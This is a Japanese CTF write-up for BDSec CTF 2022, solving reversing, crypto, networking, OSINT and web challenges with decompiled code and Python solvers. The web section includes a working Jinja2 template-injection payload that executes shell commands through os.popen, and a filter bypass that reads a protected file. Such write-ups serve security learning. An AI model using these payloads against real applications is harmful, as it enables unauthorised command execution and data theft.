BDSec CTF 2022 Writeup

この大会は2022/7/21 0:00(JST)~2022/7/22 0:00(JST)に開催されました。
今回もチームで参戦。結果は1225点で542チーム中105位でした。
自分で解けた問題をWriteupとして書いておきます。

Message of Hufflepuff (Misc 50)

ハフマン符号の問題。左が0, 右が1でたどっていく。

001011110011010111001001110001001000100010000010001011110111001011110100001011000100101101110110101100101001010011101100111011111001000111110111111100000
    B  D    S   E   C    {    H    u   f   f    m    @   n   _   E   n    c    0    d    1   n   g   _   g    o    7   _  D    3   C    O  D    3  D    }
BDSEC{Huffm@n_Enc0d1ng_go7_D3COD3D}

Find Me Inside (Misc 50)

$ binwalk fireflies.gif 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             GIF image data, version "89a", 268 x 340
154302        0x25ABE         PARity archive data
1059353       0x102A19        RAR archive data, version 5.x

RARを切り出し、解凍すると、cry100というファイルが展開される。換字式暗号になっているようなので、quipqiupで復号する。

How could I be so lost
In a place I know so well?
How could I be so broken
In a family so together?
How could I be so lonely
Surrounded by so many?
How could I be so unhappy
Surrounded by so much beauty?
How could I be me
When even I remain a mystery?
BDSEC{M33m_the_butterfly_goes_up_up_and_away}
BDSEC{M33m_the_butterfly_goes_up_up_and_away}

Find the Masterpiece (OSINT 50)

3566678889775656で検索すると、Pirates of carrebian themeが出てくる。正しくは"He's a Pirate"で、リリースされたのは2003年。

BDSEC{he's_a_pirate,2003}

BDSec License Checker 0x1 (Reverse Engineering 50)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  char local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("\t----------------------------");
  puts("\t BDSEC License Checker 0x01");
  puts("\t----------------------------\n");
  printf("Please enter your license to continue : ");
  gets(local_58);
  ns_2(local_58);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void ns_2(char *param_1)

{
  bool bVar1;
  int iVar2;
  size_t sVar3;
  long in_FS_OFFSET;
  int local_b0;
  int local_a8 [4];
  undefined4 local_98;
  undefined4 local_94;
  undefined4 local_90;
  undefined4 local_8c;
  undefined4 local_88;
  undefined4 local_84;
  undefined4 local_80;
  undefined4 local_7c;
  undefined4 local_78;
  undefined4 local_74;
  undefined4 local_70;
  undefined4 local_6c;
  undefined4 local_68;
  undefined4 local_64;
  undefined4 local_60;
  undefined4 local_5c;
  undefined4 local_58;
  undefined4 local_54;
  undefined4 local_50;
  undefined4 local_4c;
  undefined4 local_48;
  undefined4 local_44;
  undefined4 local_40;
  undefined4 local_3c;
  undefined4 local_38;
  undefined4 local_34;
  undefined4 local_30;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  sVar3 = strlen(param_1);
  if (sVar3 < 0x20) {
    sVar3 = strlen(param_1);
    if (0x1e < sVar3) {
      local_a8[0] = 0x47;
      local_a8[1] = 0x5b;
      local_a8[2] = 0x2b;
      local_a8[3] = 0x65;
      local_98 = 0x51;
      local_94 = 0x146;
      local_90 = 0x326;
      local_8c = 99;
      local_88 = 0x68;
      local_84 = 0x14;
      local_80 = 0x10;
      local_7c = 0x28;
      local_78 = 0x14;
      local_74 = 0x40;
      local_70 = 0x68;
      local_6c = 0x196;
      local_68 = 0x14;
      local_64 = 0x68;
      local_60 = 0x2c2;
      local_5c = 0x14;
      local_58 = 0x1a0;
      local_54 = 0x40;
      local_50 = 0x59;
      local_4c = 0x1a;
      local_48 = 99;
      local_44 = 0x40;
      local_40 = 10;
      local_3c = 0x59;
      local_38 = 10;
      local_34 = 10;
      local_30 = 0x20e;
      bVar1 = false;
      local_b0 = 0;
      while( true ) {
        sVar3 = strlen(param_1);
        if (sVar3 <= (ulong)(long)local_b0) break;
        iVar2 = ns_1((int)param_1[local_b0]);
        if (iVar2 + 5 != local_a8[local_b0]) {
          bVar1 = false;
          break;
        }
        bVar1 = true;
        local_b0 = local_b0 + 1;
      }
      if (bVar1) {
        puts("Congrats ! You found the right license key.");
      }
      else {
        puts("Invalid license key. Please try again.");
      }
      goto code_r0x0010141a;
    }
  }
  puts("Invalid license key. Please try again.");
code_r0x0010141a:
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

int ns_1(int param_1)

{
  int local_14;
  int local_10;
  
  local_10 = 0;
  for (local_14 = param_1; local_14 != 0; local_14 = local_14 / 10) {
    local_10 = local_14 % 10 + local_10 * 10;
  }
  return local_10;
}

1バイトずつブルートフォースで正しい入力文字列を求める。

#!/usr/bin/env python3
def ns_1(n):
    local_10 = 0
    local_14 = n
    while local_14 != 0:
        local_10 = local_14 % 10 + local_10 * 10
        local_14 = local_14 // 10
    return local_10

encs = [0x47, 0x5b, 0x2b, 0x65, 0x51, 0x146, 0x326, 99, 0x68, 0x14, 0x10, 0x28, 0x14, 0x40, 0x68, 0x196, 0x14, 0x68, 0x2c2, 0x14, 0x1a0, 0x40, 0x59, 0x1a, 99, 0x40, 10, 0x59, 10, 10, 0x20e]

flag = ''
for enc in encs:
    for code in range(32, 127):
        if ns_1(code) + 5 == enc:
            flag += chr(code)
            break
print(flag)
BDSEC{l1c3n53_ch3ck3r_0x1_2022}

shashdot (Reverse Engineering 50)

Ghidraでデコンパイルする。

void rrqqq(void)

{
  long in_FS_OFFSET;
  int local_4c;
  char local_48 [32];
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_28[0] = '\x01';
  local_28[1] = 3;
  local_28[2] = 0x12;
  local_28[3] = 4;
  local_28[4] = 2;
  local_28[5] = 0x3a;
  local_28[6] = 0x28;
  local_28[7] = 0x1e;
  local_28[8] = 0xff;
  local_28[9] = 0xc;
  local_28[10] = 0x1e;
  local_28[11] = 0xff;
  local_28[12] = 0x1e;
  local_28[13] = 0x11;
  local_28[14] = 4;
  local_28[15] = 0x1e;
  local_28[16] = 0x2d;
  local_28[17] = 0xef;
  local_28[18] = 0xef;
  local_28[19] = 0x21;
  local_28[20] = 0x3c;
  memset(local_48,0x41,0x15);
  for (local_4c = 0; local_4c < 0x15; local_4c = local_4c + 1) {
    local_48[local_4c] = local_48[local_4c] + local_28[local_4c];
  }
  puts(local_48);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

local_28の各コードに0x41をプラスすればよい。

#!/usr/bin/env python3
enc = [1, 3, 0x12, 4, 2, 0x3a, 0x28, 0x1e, 0xff, 0xc, 0x1e, 0xff, 0x1e, 0x11, 4, 0x1e, 0x2d, 0xef, 0xef, 0x21, 0x3c]

flag = ''
for c in enc:
    flag += chr((c + 0x41) % 256)
print(flag)
BDSEC{i_@M_@_RE_n00b}

Flag Box (Reverse Engineering 100)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  basic_ostream *this;
  int aiStack72 [11];
  int local_1c;
  int local_18;
  int local_14;
  int local_10;
  int local_c;
  
  local_18 = 0x159fd8;
  local_c = 1;
  std::operator<<((basic_ostream *)std::cout,
                  "\nWelcome to Flag-Box!\n\nPlease enter your 8 digit code to grab the flag:");
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_1c);
  for (local_10 = 8; -1 < local_10; local_10 = local_10 + -1) {
    aiStack72[local_10] = local_1c % 10;
    local_1c = local_1c / 10;
  }
  for (local_14 = 1; local_14 < 9; local_14 = local_14 + 1) {
    local_c = aiStack72[local_14] * local_c;
  }
  if (local_c == local_18) {
    this = std::operator<<((basic_ostream *)std::cout," ");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)this,
               std::endl<char,std::char_traits<char>>);
    ox();
  }
  else {
    std::operator<<((basic_ostream *)std::cout,"\nSorry, wrong Code!\n\nBetter luck next time!");
  }
  return 0;
}

undefined8 ox(void)

{
  basic_ostream *pbVar1;
  
  pbVar1 = std::operator<<((basic_ostream *)std::cout,'B');
  pbVar1 = std::operator<<(pbVar1,'D');
  pbVar1 = std::operator<<(pbVar1,'S');
  pbVar1 = std::operator<<(pbVar1,'E');
  pbVar1 = std::operator<<(pbVar1,'C');
  pbVar1 = std::operator<<(pbVar1,'{');
  pbVar1 = std::operator<<(pbVar1,'H');
  pbVar1 = std::operator<<(pbVar1,'u');
  pbVar1 = std::operator<<(pbVar1,'r');
  pbVar1 = std::operator<<(pbVar1,'r');
  pbVar1 = std::operator<<(pbVar1,'a');
  pbVar1 = std::operator<<(pbVar1,'h');
  pbVar1 = std::operator<<(pbVar1,'_');
  pbVar1 = std::operator<<(pbVar1,'U');
  pbVar1 = std::operator<<(pbVar1,'_');
  pbVar1 = std::operator<<(pbVar1,'g');
  pbVar1 = std::operator<<(pbVar1,'0');
  pbVar1 = std::operator<<(pbVar1,'t');
  pbVar1 = std::operator<<(pbVar1,'_');
  pbVar1 = std::operator<<(pbVar1,'i');
  pbVar1 = std::operator<<(pbVar1,'t');
  pbVar1 = std::operator<<(pbVar1,'_');
  pbVar1 = std::operator<<(pbVar1,'b');
  pbVar1 = std::operator<<(pbVar1,'u');
  pbVar1 = std::operator<<(pbVar1,'d');
  pbVar1 = std::operator<<(pbVar1,'d');
  pbVar1 = std::operator<<(pbVar1,'y');
  std::operator<<(pbVar1,'}');
  return 0;
}

ox関数の出力文字を並べればよい。

BDSEC{Hurrah_U_g0t_it_buddy}

Simple Math (Reverse Engineering 100)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int local_1c;
  int local_18;
  int local_14;
  int local_10;
  int local_c;
  
  std::operator<<((basic_ostream *)std::cout,"Input Five Numbers to add them:\n\n");
  std::operator<<((basic_ostream *)std::cout,"Input First Number: ");
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_c);
  std::operator<<((basic_ostream *)std::cout,"");
  std::operator<<((basic_ostream *)std::cout,"Input Second Number: ");
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_10);
  std::operator<<((basic_ostream *)std::cout,"");
  std::operator<<((basic_ostream *)std::cout,"Input Third Number: ");
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_14);
  std::operator<<((basic_ostream *)std::cout,"");
  std::operator<<((basic_ostream *)std::cout,"Input Fourth Number: ");
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_18);
  std::operator<<((basic_ostream *)std::cout,"");
  std::operator<<((basic_ostream *)std::cout,"Input Fifth Number: ");
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_1c);
  std::operator<<((basic_ostream *)std::cout,"");
  comp(local_c,local_10,local_14,local_18,local_1c);
  return 0;
}

undefined8 comp(int param_1,int param_2,int param_3,int param_4,int param_5)

{
  int iVar1;
  
  iVar1 = param_5 + param_1 + param_2 + param_3 + param_4;
  if (iVar1 == 0x10065cc0) {
    fg();
  }
  else {
    std::operator<<((basic_ostream *)std::cout,"Sum: ");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)std::cout,iVar1);
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)std::cout,
               std::endl<char,std::char_traits<char>>);
  }
  return 0;
}

undefined8 fg(void)

{
  basic_ostream *pbVar1;
  
  std::operator<<((basic_ostream *)std::cout,
                  "\nThat was easy right?\n\nBy the way,\nHere is your flag:\n\n");
  pbVar1 = std::operator<<((basic_ostream *)std::cout,'B');
  pbVar1 = std::operator<<(pbVar1,'D');
  pbVar1 = std::operator<<(pbVar1,'S');
  pbVar1 = std::operator<<(pbVar1,'E');
  pbVar1 = std::operator<<(pbVar1,'C');
  pbVar1 = std::operator<<(pbVar1,'{');
  pbVar1 = std::operator<<(pbVar1,'3');
  pbVar1 = std::operator<<(pbVar1,'a');
  pbVar1 = std::operator<<(pbVar1,'Z');
  pbVar1 = std::operator<<(pbVar1,'Y');
  pbVar1 = std::operator<<(pbVar1,'_');
  pbVar1 = std::operator<<(pbVar1,'P');
  pbVar1 = std::operator<<(pbVar1,'e');
  pbVar1 = std::operator<<(pbVar1,'A');
  pbVar1 = std::operator<<(pbVar1,'z');
  pbVar1 = std::operator<<(pbVar1,'Y');
  pbVar1 = std::operator<<(pbVar1,'}');
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar1,
             std::endl<char,std::char_traits<char>>);
  return 0;
}

fg関数の出力文字を並べればよい。

BDSEC{3aZY_PeAzY}

Jungle Templating (WEB 100)

SSTIの問題のようだ。以下のように入力して結果を見てみる。

{{config.__class__.__init__.__globals__['os'].popen("ls").read()}}
→Hi, __pycache__ app.py flag

{{config.__class__.__init__.__globals__['os'].popen("cat flag").read()}}
→Hi, BDSEC{Y3Y_7H1515_7H3_F146}
BDSEC{Y3Y_7H1515_7H3_F146}

Awesome Note Keeping (WEB 100)

HTMLソースを見ると、コメントにこう書いてある。

<!-- Hi Seli, I have created this awesome note keeping web app today. I have saved a backup file index.php.bak for you. Download it and check it out.  -->

http://206.189.236.145:9000/index.php.bakにアクセスして、index.php.bakをダウンロードする。内容は以下のようになっている。

<!DOCTYPE html>
<html>

<head>
    <title>Awesome Note Keeping</title>
</head>

<body style="padding: 100px; background: #000000; color: #09b576">

    <h1>Welcome to Awesome Note Keeping</h1>
    <?php
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    error_reporting(E_ALL);
    if (isset($_POST["note"]) && isset($_POST["note_title"])) {
        if (empty($_POST["note"]) || empty($_POST["note_title"])) {
            echo "All fields are required.";
        } else if (strlen($_POST["note_title"]) >= 13) {
            echo "Note title is too long.";
        } else if (strlen($_POST["note"]) >= 40) {
            echo "Note is too long.";
        } else {
            $note_title = str_replace("flag", "", $_POST["note_title"]);
            if (!empty($note_title)) {
                if (file_exists($note_title . ".txt")) {
                    echo "There is already a note with that title and the note is <br>";
                    $note_title = str_replace("flag", "", $note_title);
                    $myNote = fopen($note_title . ".txt", "r");
                    echo fread($myNote, filesize($note_title . ".txt"));
                    fclose($myNote);
                } else {
                    $myNote = fopen($note_title . ".txt", "w");
                    fwrite($myNote, $_POST["note"]);
                    fclose($myNote);
                    echo "Your note has been saved.";
                }
            } else {
                echo "Sorry ! You can't create flag note.";
            }
        }
    }


    if (isset($_GET["note_title"]) && !empty($_GET["note_title"]) && $_GET["note_title"] != "flag") {
        if (file_exists($_GET["note_title"] . ".txt")) {
            $myNote = fopen($_GET["note_title"] . ".txt", "r");
            echo fread($myNote, filesize($_GET["note_title"] . ".txt"));
            fclose($myNote);
        } else {
            echo "Sorry ! Couldn't find any note with that title.";
        }
    }

    ?>
    <br>
    <h5>Create a Note</h5>
    <form action="" method="POST">
        <table>
            <tr>
                <td><label>Note Title : </label></td>
                <td><input type="text" name="note_title" /></td>
            </tr>
            <tr>
                <td><label>Note : </label></td>
                <td><textarea name="note"></textarea></td>
            </tr>
        </table>
        <input type="submit" value="Save" />
    </form>

    <h5>Read a Note</h5>
    <form action="" method="GET">
        <table>
            <tr>
                <td><label>Note Title : </label></td>
                <td><input type="text" name="note_title" /></td>
            </tr>
        </table>
        <input type="submit" value="Read" />
    </form>
    <!-- Hi Seli, I have created this awesome note keeping web app today. I have saved a backup file index.php.bak for you. Download it and check it out.  -->
</body>

</html>

"flag"が2回""に置換されるようなので、タイトルに"flflflagagag"と指定して、Saveしてみると、以下のように表示された。

There is already a note with that title and the note is
BDSEC{tHe_n0t3_K33p1n6_4W350M3_N5}
BDSEC{tHe_n0t3_K33p1n6_4W350M3_N5}

Victim & Attacker (Networking 25)

FTPで何回もログインに失敗している通信がある。通信元は192.168.1.10、FTPサーバは192.168.1.13。

BDSEC{192.168.1.13_192.168.1.10}

Which FTP? (Networking 50)

ftpでフィルタリングする。No.69421パケットなどからFTPサーバのバージョンがわかる。

BDSEC{vsFTPd_3.0.3}

FTP Creads (Networking 50)

ftpでフィルタリングする。No.81130パケットでログインに成功している。この時のusernameは"ftpadmin"、passwordは"ftpadmin"。

BDSEC{ftpadmin_ftpadmin}

Uploaded File (Networking 50)

ftpでフィルタリングする。CWD filesの後、RETR .hacker.note のパケットがある。

BDSEC{/files/.hacker.note}

Log File (Networking 50)

ftpでフィルタリングする。RETRでdnNmdHBk.logが転送されている。

BDSEC{dnNmdHBk.log}

これではフラグは通らない。base64デコードしてみる。

$ echo dnNmdHBk | base64 -d
vsftpd
BDSEC{vsftpd.log}

CryptoCode (Cryptography 25)

Pythonのcryptocodeライブラリを使って復号する。

#!/usr/bin/env python3
import cryptocode

with open('cipher.txt', 'r') as f:
    ct = f.read()

key = 'BDSEC'
flag = cryptocode.decrypt(ct, key)
print(flag)
BDSEC{cryp70_and_pyth0n_ar3_aw3s0me}

VIPx01 (Cryptography 25)

ROT13。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

BDSEC{crypt0_ar3_aw3s0m3}

Fake (Cryptography 50)

https://www.spammimic.com/decode.shtmlでデコードする。

Hello Mr.Alex   I won't 100000 M USD dolor. Can  you want that, you need this key   BDSEC{do3sn't_b3li3ve_1n_unkn0wn_mail} 
BDSEC{do3sn't_b3li3ve_1n_unkn0wn_mail}

Dominoes (Cryptography 50)

フラグの各文字とそれ以降の文字をすべてXORして暗号化している。つまり隣同士をXORすれば復号できる。

#!/usr/bin/env python3
with open('encrypted.txt', 'r') as f:
    enc_flag = f.read()

flag = ''
for i in range(len(enc_flag) - 1):
    flag += chr(ord(enc_flag[i]) ^ ord(enc_flag[i+1]))
flag += enc_flag[-1]
print(flag)
BDSEC{n0t_50_e45y_hUh?_433}

Loop Lover (Cryptography 100)

転置暗号。逆に戻していけばよい。逆に戻すと、base64エンコード文字列になっているので、さらにデコードする。

#!/usr/bin/env python3
from base64 import *

def rev_f(t):
    c = list(t)
    for i in range(len(t) - 1, -1, -1):
        for j in range(len(t) - 2, i - 1, -1):
            for k in range(len(t) - 3, j - 1, -1):
                c[k], c[k+1] = c[k+1], c[k]
    return ''.join(c)

with open('ciphertext.txt', 'r') as f:
    enc_flag = f.read()

b64_flag = rev_f(enc_flag)
flag = b64decode(b64_flag).decode()
print(flag)
BDSEC{ju57_L00p_m3_4w4y}

Basically RSA (Cryptography 100)

RSA暗号。factordbでNを素因数分解する。

N = 1899107986527483535344517113948531328331 * 674357869540600933870145899564746495319033

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

N = 1280678415822214057864524798453297819181910621573945477544758171055968245116423923
E = 65537
C = 241757357533719849989659127349827982677055294256023833052829147857534659015212862

p = 1899107986527483535344517113948531328331
q = 674357869540600933870145899564746495319033

phi = (p - 1) * (q - 1)
d = inverse(E, phi)
m = pow(C, d, N)
flag = long_to_bytes(m).decode()
print(flag)
BDSEC{r54_i5_fUn_r16h7?}